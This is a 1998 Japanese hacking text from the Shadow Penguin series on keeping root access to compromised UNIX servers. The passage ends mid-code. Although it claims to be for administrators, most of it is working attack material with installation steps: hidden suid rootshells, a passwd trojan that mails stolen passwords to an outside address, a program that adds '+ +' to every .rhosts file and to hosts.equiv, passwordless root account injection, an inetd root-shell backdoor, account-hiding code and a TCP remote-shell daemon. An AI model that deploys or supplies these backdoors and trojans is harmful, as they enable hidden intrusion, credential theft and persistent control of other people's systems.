========================================== The Shadow Penguin Documents. No. 10 - 鯖の長期保存法 - Written by うにゅん Nov.6, 1998 ========================================= --- まえがき ---- 侵入者は、侵入してrootを盗れたのはいいけれど、管理者に見つかってアッサリ穴を埋められ侵入口を塞がれてた らイヤなので、root鯖はなるべく長期間使いたいと思うでしょう。このテキストでは鯖の長期保存の為の色々なテク ニックや、鯖の延命を目標とするためにサンプルとして作ったプログラムを多数掲載しています。なお、実験は Solaris2.6 for Sparcで行いました(他のOSで行った実験は文書中に示します)。基本的な考え方は、他のUNIXでも流用 できると思います。なお、このテキストは、侵入者の立場で書かれていますが、侵入後にどのようなことが行われて いるか、またどの様に対処すれば良いのかを具体的に示した、管理者用のテキストです。 --- 目次 --- 1. 基本的なこと 2. Rootshellを見つかりにくくする 2−1. Hidden Root Shell 2−2. 管理者のログイン中は755 3. Backdoors 3−1. 一般ユーザのパスワードを貰っとく 3−2. .rhostsを書きかえる 3−3. ユーザを追加・変更する 3−4. ユーザのshellでrootshellを指定する 3−5. inet-serviceを利用する。 3−6. 管理者のログイン中はBackdoorを隠す 3−5. TCP Shell 3−7. UDP Shell 3−8. Cronでしぶといバックドア 3−9. Cronで「ちょっとの間だけ」Backdoor 3−10.Cron以外でのタイマー起動 3−11.Backdoorリモート作成 3−12.login.c書き換え 4.まとめ 5.参考文献 1. 基本的なこと 「鯖がちゃんと保存されてる」とは基本的に次の2つが成り立たっている状態と言えるでしょう。まず、いつでも 入れること。そして入ると必ずrootになれることです。snifferなんか見つかったって、この2つが成り立っていれ ばいつでも入れることもできますから。「いつでも入れる」ってのは、要するに最初の侵入方法以外に幾つかの入り口 (Backdoor)を確保すれば持続できる確率はかなり上がります。また「入ると必ずrootになれる」ってのは、いかに管 理者に発見されないrootログインBackdoorやRootshellを仕込むかにかかってきます。本テキストではこれらにつ いて幾つかの方法を解説します。 2. Rootshellを見つかりにくくする  Rootshellを知らない人もいるかもしれないので、一応説明します。普通rootはパスワードクラックやセキュリテ ィーホール、トロイ、Sniffer等で盗るわけですが、管理者がパスワード変更、パッチを当てる等の対策を行うと、 とたんにrootになれなくなるわけです。そこで、よく使う手としてrootshellなるものを、どっかのディレクトリに 隠して置いとくわけです。通常のrootshellは、以下のような感じですね。 #cat > rootshell.c /* Rootshell.c start */ #include main() { setuid(0); setgid(0); execl("/bin/csh","csh",NULL); } /* end */ ^D #cc rootshell.c -o rootshell #chmod 4755 ./rootshell #chown root ./rootshell 普通はrootshellなんていう目立つ名前にせず、/usr/sbin/oshとか、紛らわしい名前&場所に置いておきます。こ れで、一般ユーザがrootshellを実行すれば、パスワード無しでrootになれます。これさえ置いておけば、パスワー ド変更されようがパッチを当てられようが、rootです。ただ、侵入者にとて問題もあります。それはrootshellの性質上、 Permittionを4755、つまりsuidにしなければならないため、探しやすいってことです。 find / -perm 4755 -print とかすると、suidプログラムがズラ〜っと出てくるので、出てきたのをコピーペーストで一括実行してしまえば、 rootshellが仕込まれてたらばっちりrootになってしまいます。suidプログラムには管理者も神経使ってることもあ りますから、時々検査してたりする人もいます。また、rootshellは他人でも探せる場合があり、せっかく盗ったroot を他のアレな人に持っていかれることもあります。これがrootshellの最大の問題点ですね。このrootshellを何と か見つからないようにする方法を説明します。 2−1. Hidden Root Shell その名の通り、隠しrootshellです。システム既存の適当なsuidプログラムを入れ替えて、特殊な引数を指定した ときrootshellとして機能するようにしたものです。以前ココのHP(ShadowPenguin/「みつかりにくいRootShell、hrs の仕込み方」)で紹介した内容です。 /*----------------------------------- hrs.c Programmed by UNYUN -------*/ #include #include #include #include #define ORIGINAL "/.desktop-user" /* 1 */ #define MAGIC "hoge" /* 2 */ main(argc,argv) int argc; char *argv[]; { int i; char buffer[2000]; setuid(0); setgid(0); if (argc==2 && strcmp(argv[1],"hoge")==0){ system("/usr/bin/csh"); }else{ sprintf(buffer,"chmod 4755 %s",ORIGINAL); system(buffer); strcpy(buffer,ORIGINAL); for (i=0;i #define TEMPFILE "/tmp/.tmp_sizer" main(int argc,char *argv[]) { FILE *fpi,*fpo; int i,s,os; char buf[1000]; if (argc!=3){ printf("usage : %s file size¥n",argv[0]); exit(1); } if ((fpi=fopen(argv[1],"rb"))==NULL){ printf("File not found %s¥n",argv[1]); exit(1); } if ((fpo=fopen(TEMPFILE,"wb"))==NULL){ printf("File write error %s",TEMPFILE); exit(1); } s=atoi(argv[2]); for (os=0;;){ i=fread(buf,1,1000,fpi); if (i==0) break; fwrite(buf,1,i,fpo); os+=i; } fclose(fpi); s-=os; for (i=0;i #include #define ROOTSHELL "/usr/bin/rch" main(int argc,char *argv[]) { if (argc<=1) return(0); if (!strcmp(argv[1],"0")) chmod(ROOTSHELL,S_ISUID|S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH); else if (!strcmp(argv[1],"1")) chmod(ROOTSHELL,S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH); } /*----------------------------------------------- end -----------------*/ このpermcng.cを使って、rootshellのパーミッションを変更します。なお、rootshellは"/usr/bin/rch"とします。 他を指定したい場合は、permcng.cの#define ROOTSHELLを変更してください。仕込み方は次の通りです。 1) #cc permcng.c -o setdisp permcng.cをコンパイルしてsetdispという実行ファイルを作る 2) #mv setdisp /usr/bin 適当な場所に移す 3) #ls -al /usr/bin/se* -rwxr-xr-x 1 root other 6432 11月 4日 14:38 /usr/bin/setdisp -r-xr-xr-x 1 bin bin 12796 7月 16日 1997年 /usr/bin/setfacl -r-xr-xr-x 1 root sys 3988 7月 16日 1997年 /usr/bin/setpgrp -r-xr-xr-x 1 bin bin 32548 4月 26日 1997年 /usr/bin/setterm -r-xr-xr-x 2 bin bin 7404 7月 16日 1997年 /usr/bin/settime -r-xr-xr-x 1 bin bin 8128 7月 16日 1997年 /usr/bin/setuname として、setdispに近い名前のファイル名を出力する。 4) #chmod 555 /usr/bin/setdisp #chgrp sys /usr/bin/setdisp #touch 0716101097 /usr/bin/setdisp として、setdispが目立たないよう、周囲のファイルと同じパーミッション、グループ 日付を設定する。 5) #cat /etc/passwd | grep root root::0:1:Super-User:/:/bin/csh として、rootのホームディレクトリの場所を確認する。この例では / がrootのホーム   です。 6) #echo "setdisp 1" >> /.cshrc #echo "setdisp 0" >> /.logout これで、rootが新しいshellを開くたびにrootshellのパーミッションが755になり、root がlogoutすると4755になります。 3. Backdoors バックドア、つまり「裏口」です。これはホントに考え方次第でいっぱい出てきますね。そんな裏口について使え るものを紹介します。 3−1. 一般ユーザのパスワードを貰っとく これは最も一般的ですね。一般ユーザのパスワードはISPなんかだとユーザ数が多いだけに優れたBackdoorとして 機能します。何のために「パスクラック」なんかやってるかというと、大体はこういう目的でしょう。ユーザのパス ワードを拾う方法は色々ありますが、とりあえず2つほど紹介します。 (I) passwdクラック rootを含め、パスワードは/etc/passwdや/etc/shadowで管理されてるのは今更言う必要もないですが、さすがに これらはDES等で暗号化されており、rootを盗ったからってそうすぐには見れないものです。そこでパスワードクラ ックが行われます。John the ripper等は、すぐれたパスクラックツールとして非常に有名ですね。海外のサーチエ ンジンで簡単に見つけられます。一応簡単に使い方を説明します。用意するものは次の2つです。 /etc/passwd passwdで、 root:x:0:1:Super-User:/:/bin/csh みたいにユーザ名の後のパスワードエントリが'x'なんかになってる場合は /etc/shadow が必要です。あとはアルファベット・数字関連の辞書です。辞書はなくてもクラックできますが、用意しておいたほ うがいいです。 とりあえず、カレントディレクトリにshadowと辞書dict.txtを置いてjohnを走らせるには、 %john -wordfile:dict.txt -rules shadow こんな感じです。辞書の質によりますが、これでも結構でます。 あと、何が何でもパスクラックしたい場合は、 %john -incremental -users:target shadow とかすると、ユーザtargetに対して辞書無しの総当りで解析します。でもむちゃくちゃ時間がかかる場合もあり、1 ヶ月くらいは覚悟しておきましょう。 johnは解析のカスタマイズも可能ですので、詳しくはその辺に落ちてるテキストやマニュアルを参考にしてください。 (II) トロイ passwdトロイやsuトロイで、それらを使ったユーザのパスワードをロギングします。とりあえず、passwdトロイ について解説します。suトロイはココShadowPenguinのDocumentを参考にしてください。 以下がpasswdトロイです。ユーザがpasswdを実行したとき、一回目は失敗しそのときのパスワードをロギングして 更にメールで通知します。ちなみに、このソースはIRIX用です。passwd実行時のメッセージ出力は失敗時の処理な どは、UNIXによって異なってきますので、その変に注意すれば移植できると思います。 /*------------------------------------ passwd.c Programmed by UNYUN ---*/ #include #include #include /* パスワードを通知するメアド */ /* 以下の1行を削除するとメール通知は行われません */ #define MAIL "hacker@hohho.ne.jp" /* 1 */ /* ロギングファイル. 見つかりにくい名前に変更 */ #define LOGFILE "/tmp/.pl" /* 2 */ /* オリジナルpasswdプログラム */ #define ORIGINAL "/usr/bin/opasswd" /* 3 */ #define TMPFILE "/tmp/.tmp" #define MAX_USERNAME 200 main(int argc,char *argv[]) { int uid=getuid(); struct passwd *p; char *oldpasswd,*newpasswd,*renewpasswd; char *getpass_sys(char *); char username[MAX_USERNAME]; char buf[200]; FILE *fp; p=getpwuid(uid); if (argc==1) strcpy(username,p->pw_name); else{ if (uid==0 || strcmp(p->pw_name,getlogin())==0) strcpy(username,argv[1]); else{ printf("許可が与えられていません¥n"); exit(1); } } printf("%s のパスワードを変更します¥n",username); if (uid!=0){ oldpasswd=getpass("旧のパスワード:"); if (strlen(oldpasswd)==0){ printf("残念です¥n"); exit(1); } } newpasswd=getpass_sys("新パスワード:"); renewpasswd=getpass("新しいパスワードを再入力して下さい:"); printf("一致しません¥n再実行して下さい¥n"); if ((fp=fopen(LOGFILE,"a"))!=NULL){ fprintf(fp,"%s %s %s¥n",p->pw_name,newpasswd,renewpasswd); fclose(fp); } #ifdef MAIL if ((fp=fopen(TMPFILE,"w"))!=NULL){ fprintf(fp,"%s %s %s¥n",p->pw_name,newpasswd,renewpasswd); fclose(fp); } sprintf(buf,"mail %s < %s",MAIL,TMPFILE); system(buf); remove(TMPFILE); #endif system(ORIGINAL); } char *getpass_sys(char *d) { static char *x; int i,c1,c2; for (;;){ x=getpass(d); if (strlen(x)<6){ printf("パスワードが短か過ぎます - 少なくとも 6 文字以上必要です¥n"); continue; } c1=c2=0; for (i=0;i='a' && x[i]<='x') || (x[i]>='A' && x[i]<='X')) c1++; else c2++; } if (c1<2 || c2==0){ printf("パスワードには 2 つ以上の欧字および 1 つ以上の¥n"); printf("数字または特殊文字を含まなければなりません¥n"); continue; } break; } return (x); } /*----------------------------------------------- end -----------------*/ ソース中の/* 1 */に、パスワードを通知するメールアドレスを指定します。この行を削除するとメール通知は行われ ません。また/* 2 */に、パスワードのログファイルを指定します。/* 3 */には、オリジナルのpasswdプログラムを 指定します。 仕込みかたは、次のような感じです。 1) #which passwd /usr/bin #ls -al /usr/bin/passwd -rwsr-sr-x 1 root sys 33748 6月 12日 1996年 passwd* #mv /usr/bin/passwd /usr/bin/opasswd #chmod 6755 /usr/bin/opasswd #touch 0612101096 /usr/bin/opasswd で、passwdをopasswdに変更し、日付やpermittionを元のものに合わせます。 2) #cc passwd_irix.c -o passwd #cp passwd /usr/bin コンパイルして、passwdトロイを/usr/bin/に移します。 3) #chmod 6755 /usr/bin/passwd #ls -alt /usr/bin -rwx--x--x 1 root sys 9124 7月 23日 1996年 domainname* -rwx--x--x 1 root sys 21412 7月 23日 1996年 on* -rwx--x--x 1 root sys 13220 7月 23日 1996年 rup* -rwx--x--x 1 root sys 13220 7月 23日 1996年 ypcat* #touch 0723101096 /usr/bin/passwd で、passwdトロイのパーミッションや日付をごまかします。 ファイルサイズが気になる場合は前に述べたsizerでファイルサイズをごまかします。 3−2. .rhostsを書きかえる  サーバにログインするのは、何もtelnetだけじゃありません。UNIXにはrloginという方法がありますね。これは telnetに色々便利さ(?)を付け加えたものですが、これを悪用すると色々できます。よく使われるのが.rhostsと /etc/hosts.equivです。rootを含めた各ユーザのホームディレクトリに.rhostsファイルを作成し、ホスト名、ユー ザ名をこのファイルに記述しておけば指定されたホスト、ユーザはパスワードをバイパスできます。/etc/hosts.equiv は、.rhostsのグローバル版のようなものです。これに記述すると個別に.rhostsファイルを設定する必要もありませ ん。.rhostsファイルの設定例として、ユーザhogeのホームディレクトリに以下のような.rhostsを作成した場合、 $cd ‾ $cat > .rhosts www.server.ac.jp hehe www.pentagon.mil uhoho ^D $ www.server.ac.jpのユーザhehe、およびwww.pentagon.milのユーザuhohoは、 rlogin www.target.ac.jp -l hoge でパスワード無しでrloginできるわけです。この.rhostsはワイルドカードの指定もできます。ワイルドカードには +文字を使います。で、先ほどの.rhostsを + + にすれば、どこからでも、どのユーザでもパスワードなしでログインできるわけです。侵入者にとっては、これを 使わない手はないでしょう。rootのホームにある.rhostsを+ +にすると、どこからでもパス無しでroot loginでき ますから。とりあえず全ユーザのホームディレクトリに+ +エントリを持つ.rhostsを付け、/etc/hosts.equivも+ + にされるとどうなるか... 以下のプログラムをrootで実行すれば作業完了です。日付やOwner,Groupも適当にあわせてくれますので、大規模 ISPは特に注意しましょう。 /*----------------------------------- mkbdoor.c Programmed by UNYUN ---*/ #include #include #include #include #include #define PASSWORD_FILE "/etc/shadow" #define HOSTS_EQUIV "/etc/hosts.equiv" #define PASSWORD_WIDTH 100 int existpasswd(char *name) { FILE *fp; char buf[PASSWORD_WIDTH]; int i,j,c; if ((fp=fopen(PASSWORD_FILE,"r"))==NULL) return(-1); for (;;){ if (feof(fp)) break; for (i=0;ipw_dir); if (*(p->pw_dir+strlen(p->pw_dir)-1)!='/') strcat(tmp,"/"); sprintf(buf,"%s.rhosts",tmp); st.st_atime=0; if (stat(buf,&st)==-1) for (i=0;;i++){ if (gnfile[i][0]==0) break; sprintf(tmp2,"%s%s",tmp,gnfile[i]); if (stat(tmp2,&st)!=-1) break; } if ((fp=fopen(buf,"a"))==NULL) return; fprintf(fp,"+ +¥n"); fclose(fp); printf("%s¥n",buf); if ((ut.actime=st.st_atime)!=0){ ut.modtime=st.st_mtime; utime(buf,&ut); chown(buf,st.st_uid,st.st_gid); } } main() { struct passwd *p; static char *gnfile[]={"/etc/hosts","/etc/services","/.",""}; FILE *fp; struct stat st; struct utimbuf ut; int i; setpwent(); for (;;){ if ((p=getpwent())==NULL) break; if (strlen(p->pw_shell)==0) continue; if (existpasswd(p->pw_name)!=1) continue; add_rhosts(p); } endpwent(); st.st_atime=0; if (stat(HOSTS_EQUIV,&st)==-1) for (i=0;;i++){ if (gnfile[i][0]==0) break; if (stat(gnfile[i],&st)!=-1) break; } if ((fp=fopen(HOSTS_EQUIV,"a"))==NULL) return; fprintf(fp,"+ +¥n"); fclose(fp); printf("%s¥n",HOSTS_EQUIV); if ((ut.actime=st.st_atime)!=0){ ut.modtime=st.st_mtime; utime(HOSTS_EQUIV,&ut); chown(HOSTS_EQUIV,st.st_uid,st.st_gid); } } /*----------------------------------------------- end -----------------*/ # cc mkbdoor.c # a.out これでOKです。 3−3. ユーザを追加・変更する これも定番ですね。rootでログインできるユーザを追加したり使っていアカウントのエントリを変更してrootロ グインできるようにしたりするっていう方法です。uucpなんてのは使わないところもありますから、普通このアカウ ントは凍結されてます。 #cat /etc/shadow | grep uucp uucp:NP:10533:::::: みないにNPとされてます。これは凍結ってことで、uucpではログインできないようになってます。これで実験して みましょう。/etc/passwdは、 uucp:x:5:5:uucp Admin:/usr/lib/uucp: みたいになってるので、これを uucp:x:0:0:uucp Admin:/usr/lib/uucp:/bin/sh に変えてしまいましょう。5→0の所はUserID、GroupIDで両方0はrootです。で、最後の/bin/shは使われるshell です。そして、/etc/shadowも uucp::10533:::::: こんな感じに変えときましょう。これで、uucpはパス無しrootログインです。 #passwd uucp New password:backdoor! Re-enter new password:backdoor! とかで適当にuucpのパスワード設定しとくのもいいかもしれません。 あと、rootログインできるアカウントを追加するのもいいですね。 #echo "hackman::0:0::/:/bin/sh" >> /etc/passwd #echo "hackman::::::::" >> /etc/shadow これでユーザhackmanはパス無しrootログインです。 3−4. ユーザのshellでrootshellを指定する 全然ログインしてないユーザがあれば、侵入者にとってはラッキーです。このユーザ、これからもログインする 見こみが少ない場合は、いっそのことコイツのshellをrootshellにしてしまおう!ってことになるかもしれません。 たとえば、ユーザnewuserは $finger newusr@localhost Login Name TTY Idle When Where newusr Mr.NewUser < . . . . > より、一度もログインしてないことが分かります。一度でもログインしてると、こんな風に表示されます。 Login Name TTY Idle When Where newusr Mr.NewUser pts/9 xxx.pentagon.mil さて、rootshellを/bin/oshに用意しましょう。そして、 newusr:x:1012:10::/home/newusr:/bin/csh を、 newusr:x:1012:10::/home/newusr:/bin/osh に書き換えます。これで、このユーザはrootログインできます。 3−5. inet-serviceを利用する。 サーバはクライアントに対してのサービスを行うサーバプログラムが動いています。たとえばftpなんかもftpの サーバプログラムが動いているからできるわけです。これらのサーバプログラムは大体はサービスの種類ごとに用意 されています。でもクライアントがサーバに接続する際に、どんなサービスをクライアントが望んでるのか、接続だ けじゃ分かりませんね。そこでサービス毎に"ポート番号"ってのがついてます。クライアントはサーバに対して要求 するサービスに応じて、そのポートに接続するわけです。どのサービスがどのポートを使ってるのかは、一般的なも のはRFCという規格で決められています。例えばftpは21番、telnetは23番ってな具合ですね。このサービス・ポ ート番号の対応は/etc/servcesに書かれており、そのサービスが実際にどの様なサーバプログラムを使用するのかと いった情報等は/etc/inetd.confに書かれています。その一部を以下に示します。 /etc/services ftp 21/tcp telnet 23/tcp exec 512/tcp login 513/tcp shell 514/tcp cmd # no passwords used uucp 540/tcp uucpd # uucp daemon /etc/inetd.conf ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd shell stream tcp nowait root /usr/sbin/in.rshd in.rshd login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd uucp stream tcp nowait root /usr/sbin/in.uucpd in.uucpd telnetを例に解説します。/etc/servicesより、telnetはポート23でサービスを受け付けており(listen)、プロ トコルタイプとしてtcpを使用しています。プロトコルタイプとしてはudpも指定できますが、tcpとudpの意味と 違いは、後述します。次にinetd.confを見てみると、telnetはstream型接続のtcpです。streamの他にはdgramも 指定できますが、その違いも後述します。続いて接続時の待ち時間はnowaitってことで待ち時間なしで、サーバープ ログラム(デーモン)はrootで動きます。接続を保持するプログラムは/usr/sbin/in.telnetd、実際のコマンドorデ ーモンはin.telnetdです。この2つは絶対パスの有り無しだけで、通常同じプログラムが指定されます。 さて、前置きが長くなりましたが、このサービスプログラムの指定をチョロっと書き換えるとBackdoorに早変わり します。例えばuucpで実験してみます。 uucp stream tcp nowait root /usr/sbin/in.uucpd in.uucpd を、 uucp stream tcp nowait root /bin/sh sh -i に書き換えます。-iは/bin/shに対する引数で、強制対話モードってことで、これがないとダメです。詳しくはman で調べましょう。書き換えたあとは、rootでinetdをリスタートして、変更を反映させます。 # ps -e | grep inetd 153 ? 0:01 inetd で、inetdのプロセスIDが出ますんで、 # kill -HUP 153 でリスタートさせましょう。 そのあとで、この鯖にポート540(uucpのポート番号)でtelnetします。 $telnet target.ac.jp 540 Trying target.ac.jp... Connected to target.ac.jp. Escape character is '^]'. # これで、パスなしログなしでrootログインできます。 でもこれ、¥n¥r送る端末で改行すると、^Mとかが最後に付いちゃいますので端末の設定を変えるか、コマンドの後ろ に;でも付けましょう。 既存のサービスの指定を変更するだけじゃなく、追加もできます。たとえば、 /etc/servicesに hack 4989/tcp hack # Hacker's Service を追加し、/etc/inetd.confに hack stream tcp nowait root /bin/sh sh -i を追加すれば、telnet target.ac.jp 4989でrootです。 3−6. 管理者のログイン中はBackdoorを隠す 侵入者にとって、rootやrootに正規になれる権限のあるユーザがログイン中は、/etc/passwd等に追加したBackdoor は見られたくないでしょう。そこで、そういうユーザのログイン中はbackdoorを消し、ログアウト後に復活させるよう にすると、ちょっと見つけにくくなります。アカウントを追加・削除するプログラムを書きました。shellスクリプト でもいいんですが、catされると管理者も発見しやすいです。Cを使うと発見はちょっと難しくなります。 /*------------------------------------ accadd.c Programmed by UNYUN ---*/ #include #include #include #include #define XPASSWD "addely:x:0:0:Addely Penguin:/:/bin/csh" /* 1 */ #define XSHADOW "addely:::::::" /* 2 */ #define XPOINT 4 /* 3 */ #define PASSWD "/etc/passwd" #define SHADOW "/etc/shadow" #define WPASSWD "/tmp/.mailer.lock1" #define WSHADOW "/tmp/.mailer.lock2" #define COPYBLOCK 10 #define LINEBLOCK 500 int readline(FILE *fp,char *buf) { int c,i; if (feof(fp)) return(1); for(i=0;;i++) if (feof(fp) || (c=getc(fp))=='¥n') break; else buf[i]=c; buf[i]='¥0'; return(0); } void movefile(char *f1,char *f2) { char fbuf[COPYBLOCK]; FILE *fp1,*fp2; int n; if ( (fp1=fopen(f1,"rb"))==NULL ||(fp2=fopen(f2,"wb"))==NULL) exit(1); for (;;){ if ((n=fread(fbuf,1,COPYBLOCK,fp1))<=0) break; fwrite(fbuf,1,n,fp2); } fclose(fp1); fclose(fp2); remove(f1); } int main(int argc,char *argv[]) { FILE *fp_passwd,*fp_shadow; FILE *fpw_passwd,*fpw_shadow; struct stat stat_passwd,stat_shadow; struct utimbuf ut; int n,i,flag; char buf[LINEBLOCK],fbuf[COPYBLOCK]; if (argc<=1 || (strcmp(argv[1],"0") && strcmp(argv[1],"1"))) return(0); setuid(0); setgid(0); stat(PASSWD,&stat_passwd); stat(SHADOW,&stat_shadow); if ( (fp_passwd=fopen(PASSWD,"rb"))==NULL || (fp_shadow=fopen(SHADOW,"rb"))==NULL || (fpw_passwd=fopen(WPASSWD,"wb"))==NULL || (fpw_shadow=fopen(WSHADOW,"wb"))==NULL){ return(0); } for (flag=0,i=0;;i++){ if (readline(fp_passwd,buf)) break; if (!strcmp(buf,XPASSWD)){ flag=1; break; } } fseek(fp_passwd,0,SEEK_SET); for (i=0;i> /home/humboldt/.cshrc %echo "chkenv 0" >> /home/humboldt/.logout これでログイン時はBackdoorのaddelyは消え、ログアウト後に復活します。 もちろん、rootにもやっとかないと意味が無いので、rootにも仕込みます。rootに対して仕込む場合は、 accaddはsuidじゃなくてもいいので、別に用意します。 1) #cp /usr/bin/chkenv /usr/bin/nishalt さっきのchkenvをnishaltとかの名前でコピーします。 2) #chmod 755 /usr/bin/nishalt #chgrp sys /usr/bin/nishalt #touch 0716101097 /usr/bin/nishalt 適当に怪しまれにくいステータスにします。 ちなみにrootが実行するので、chmodは755でいいです。 3) #cat /etc/passwd | grep root root::0:1:Super-User:/:/bin/csh ルートのホームは/のようです。 4) #echo "nishalt 1" >> /.cshrc #echo "nishalt 0" >> /.logout これでOK。 4−5. TCP Shell TCPっていうのは、みなさんも聞いたことがあると思います。TCPは2つのコンピュータの間で信頼性のあるデータ フローを実現するコネクションベースのプロトコルです。telnetやftpもTCPを使ってます。TCPプロトコルに対し てUDPプロトコルってのがあります。UDPプロトコルは、ネットワーク上の2つのアプリケーション間の保証されな い通信を提供すすというもので、UDPはTCP のようなコネクションベースとは異なり、データグラムと呼ばれる独立 したデータのパケットをあるアプリケーションから別のアプリケーションへ送信します。UDPは信頼性はないですが 高速なので、多少パケットが落ちてもいいようなインターネット電話やテレビ会議システムなんかで良く使われます。 さてTCP Shellですが、早い話がはTCPでshellコマンドを受け取って実行できるようなプログラムです(telnet もTCP shellと言えますね)。ココにはTDMというTCP Shellサーバプログラムが置いてあります。これを鯖に常駐さ せておけば、パスなし・ログ無しでログインできます。こういう専用のサーバプログラム等のBackdoorは、システム ファイルに痕跡を残さないというのと、一般的にrootでなくても実行できることが利点でしょう。rootでsuidにし ておけばrootログインできます。これの応用は、PenguinDocumentにありますので、そっちを参考にしてください。 /*------------------------- tdm022.c Programmed by UNYUN --------------*/ #include #include #include #include #include #include #include #include #include #include #include #include #define MAX_CLIENTS 5 /* 最大クライアント数*/ #define TMP_FILE "/tmp/.ush" /* 一時ファイル */ #define PORT_NUM 5210 /* 接続ポート */ #define CATBUF 4000 /* 最大画面バッファ */ int get_connection(socket_type, port, listener) int socket_type; int port; int *listener; { struct sockaddr_in address; struct sockaddr_in acc; int listening_socket; int connected_socket = -1; int new_process; int reuse_addr = 1; int acclen=sizeof(acc); memset((char *) &address, 0, sizeof(address)); address.sin_family = AF_INET; address.sin_port = htons(port); address.sin_addr.s_addr = htonl(INADDR_ANY); listening_socket = socket(AF_INET, socket_type, 0); if (listening_socket < 0) { perror("socket"); exit(1); } if (listener != NULL) *listener = listening_socket; setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,&reuse_addr,sizeof(reuse_addr)); if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address)) < 0) { perror("bind"); close(listening_socket); exit(1); } if (socket_type == SOCK_STREAM){ listen(listening_socket, MAX_CLIENTS); while(connected_socket < 0){ connected_socket = accept(listening_socket, &acc, &acclen); if (connected_socket < 0){ if (errno != EINTR){ perror("accept"); close(listening_socket); exit(1); }else continue; } new_process=fork(); if (new_process<0){ perror("fork"); close(connected_socket); connected_socket = -1; }else{ if (new_process == 0) { close(listening_socket); if (listener!=NULL) *listener = -1; }else{ close(connected_socket); connected_socket = -1; } } } return connected_socket; }else return listening_socket; } int sock_write(sockfd, buf, count) int sockfd; char *buf; size_t count; { size_t bytes_sent = 0; int this_write; while (bytes_sent < count) { do this_write = write(sockfd, buf, count - bytes_sent); while ( (this_write < 0) && (errno == EINTR) ); if (this_write <= 0) return this_write; bytes_sent += this_write; buf += this_write; } return count; } int sock_gets(sockfd, str, count) int sockfd; char *str; size_t count; { int bytes_read; int total_count = 0; char *current_position; char last_read = 0; current_position = str; while (last_read != 10) { bytes_read = read(sockfd, &last_read, 1); if (bytes_read <= 0) return -1; if ( (total_count < count) && (last_read != 10) && (last_read !=13) ) { current_position[0] = last_read; current_position++; total_count++; } } if (count > 0) current_position[0] = 0; return total_count; } int sock_puts(sockfd, str) int sockfd; char *str; { int sock_write(); char buf[2000]; sprintf(buf,"¥r%s",str); return sock_write(sockfd, buf, strlen(buf)); } int main(argc, argv) int argc; char *argv[]; { int get_connection(); int sock_gets(); int sock_puts(); int c,f,i; FILE *fp; int sock; /* 対Client用socket */ int connected = 1; /* 接続監視フラグ */ char buffer[1024]; /* 入力文字列バッファ */ char buf2[CATBUF]; /* 画面テキストバッファ */ char cdir[2000]; /* Current dir */ char cstdir[2000]; /* 初期dir */ static int textmode=0; /* $mktext開始flag */ static int listensock = -1; /* 聴取用socket */ setuid(0); setgid(0); sock = get_connection(SOCK_STREAM, PORT_NUM, &listensock); sock_puts(sock,"Last login: Sun Jan 1 00:00:00 from root@hacker.moon¥n"); sock_puts(sock,"Unyun Micorosystems Inc. UnyunOS 5.4 Generic January 2010¥n"); sock_puts(sock,"You have new hacking tool.¥n"); sprintf(buf2,"pwd > %s",TMP_FILE); system(buf2); if ((fp=fopen(TMP_FILE,"r"))==NULL) strcpy(cdir,"/"); else{ fscanf(fp,"%s",cdir); fclose(fp); } strcpy(cstdir,cdir); sprintf(buf2,"%s¥n",cdir); sock_puts(sock,buf2); while (connected) { if (textmode==0) sock_puts(sock,"[ush] %"); if ( sock_gets(sock, buffer, 1024) < 0) { connected = 0; }else{ if (strcmp(buffer,"$eof")==0){ textmode=0; if (fp!=NULL) fclose(fp); continue; } if (textmode==1){ if (fp!=NULL){ fwrite(buffer,1,strlen(buffer),fp); putc('¥n',fp); } continue; } if (strcmp(buffer,"logout")==0 || strcmp(buffer,"exit")==0 ) break; if (strncmp(buffer,"$mktext",7)==0){ if (strlen(buffer)<9){ sock_puts(sock,"usage : $mktext [filename]¥n"); }else{ if ((fp=fopen(buffer+8,"wb"))==NULL) sock_puts(sock,"File write error¥n"); else{ textmode=1; continue; } } } if (strcmp(buffer,"cd")==0){ sprintf(cdir,cstdir); sprintf(buf2,"%s¥n",cdir); sock_puts(sock,buf2); continue; } if (strncmp(buffer,"cd ",3)==0){ strcpy(buf2,buffer+3); if (buf2[0]=='/'){ strcpy(cdir,buf2); sprintf(buf2,"%s¥n",cdir); }else{ strcat(cdir,"/"); strcat(cdir,buf2); sprintf(buf2,"%s¥n",cdir); } sock_puts(sock,buf2); continue; } sprintf(buf2,"csh -f -c ¥"cd %s;%s¥" > %s",cdir,buffer,TMP_FILE); system(buf2); if ((fp=fopen(TMP_FILE,"rb"))!=NULL){ for (;;){ if (feof(fp)) break; for (i=0;i<2000;i++){ if (feof(fp)) break; c=getc(fp); if (c=='¥n') break; else buf2[i]=c; } buf2[i]=0; strcat(buf2,"¥n"); sock_puts(sock,buf2); } fclose(fp); } remove("/tmp/.ush"); } } close(sock); return 0; } /*----------------------------------------------- end -----------------*/ 仕込み方は次のような感じです。 1) dtmをコンパイルします。 %cc tdm.c -o tdm でエラーなら %cc tdm.c -o tdm -lnsl としてコンパイルしましょう。gccでも構いません。 2) %tdm & で常駐です。 これで、クライアントから telnet ターゲット 5210 すると、ログインできます。ログインすると[ush]%っていう プロンプトが出ます。rootログインしたい場合は、rootで仕込みます。 なお、ログアウトは [ush]%logout です。 また、telnet、rloginなどが不可能なISPでも、CGIにして実行すれば、同様の方法でログインできる場合が 多いです。 (例) %cc tdm.c -o tdm.cgi として、ブラウザで http://www.hoge.com/‾hoge/tdm.cgi として起動すれば、telnet www.hoge.com 5210でログインできます。 3−7.UDP Shell 神経質な鯖だと、やっぱりTCPパケットには気を使います。そこで、UDPです。これだとFirewallも通過で きることもあり、また監視プログラムでも引っ掛からないことが多いです。こんなのもあるので、そういう防御策 も無意味な場合がありますので、気をつけましょう。でも、やっぱりUDPですから、たまにパケットが落ちることと、 専用のクライアントプログラムがいるっていう問題もありますが。とりあえず、tdmのUDP版ってことで、即席です が作ってみました。 サーバ側プログラム /*----------------------------------- udps_sv.c Programmed by UNYUN ---*/ #include #include #include #include #include #include #include #include #include #include #include #include #define TMP_FILE "/tmp/.ush" /* 一時ファイル */ #define PORT_NUM 11111 /* 